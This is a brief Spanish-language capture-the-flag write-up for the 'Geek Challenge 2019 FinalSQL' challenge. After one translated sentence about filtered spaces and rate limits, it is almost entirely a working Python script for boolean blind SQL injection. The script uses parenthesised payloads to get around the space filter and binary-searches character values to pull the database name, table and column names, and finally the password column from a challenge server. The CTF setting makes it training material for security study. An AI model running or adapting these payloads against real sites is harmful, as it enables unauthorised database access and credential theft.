[Nota ciega de SQL] [Geek Challenge 2019] FinalSQL (dicotomía)

Encontramos muchos filtros, como * espacios, usamos () para omitir el script, el
sitio web es demasiado spam, la solicitud es rápida, habrá un error y necesitamos agregar una suspensión y esperar

import time

import requests

url = "http://34e5371d-f910-48da-ae2e-26ed2b56eb8d.node3.buuoj.cn/search.php?id="

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = '(ascii(substr(database(),%d,1))>%d)' % (i, mid)
        # payload = f'(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})'
        # payload = f'(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),{i},1))>{mid})'
        payload = f'(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})'
        r = requests.get(url + payload)
        # print(r.text)
        time.sleep(0.1)
        if "Click" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)